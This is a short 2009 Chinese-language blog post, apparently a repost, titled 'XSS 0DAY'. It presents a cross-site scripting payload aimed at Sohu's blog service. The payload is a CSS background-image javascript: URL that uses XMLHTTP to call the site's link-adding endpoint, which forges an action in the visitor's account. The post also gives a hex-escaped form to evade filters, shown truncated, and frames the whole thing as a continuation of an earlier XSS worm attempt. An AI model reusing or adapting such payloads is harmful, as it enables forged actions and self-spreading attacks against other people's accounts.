XSS 0DAY

2009-2-4 14:12 779 0

摘要: 看到梦之光芒放出来了!我也不藏了! 10月7日的时候我就发的日志,提示了大家!这里算是上次发的XSS WORM初尝试的续吧. 其实很简单,就是两次转码. <DIV STYLE="backgr...

关键词： 转义此方法进制字符串样式 16002288 属性光芒尝试上次

看到梦之光芒放出来了!我也不藏了! 10月7日的时候我就发的日志,提示了大家!这里算是上次发的XSS WORM初尝试的续吧. 其实很简单,就是两次转码. <DIV STYLE="background-image: url(javascript:var XmlHttp=new ActiveXObject("Microsoft.XMLhttp"); XmlHttp.Open("get","/manage/link.do?m=add&title=S0n9%20bl09&desc=This%20is%20XSS%20TEST%20%21&link=http%3A//s0n9.blog.sohu.com&_",true); XmlHttp.send(null);)"> ASCII转码参考 http://s0n9.blog.sohu.com/16002288.html 写成下面16进制转义字符串 <div style="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0065\0076\0061\006C\0028\0053\0074\0072\0069\006E\0067\002E\0066\0072\006F\006D\0043\0068\0061\0072\0043\006F\006......"></div> 此方法也可用于其他样式表属性.

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除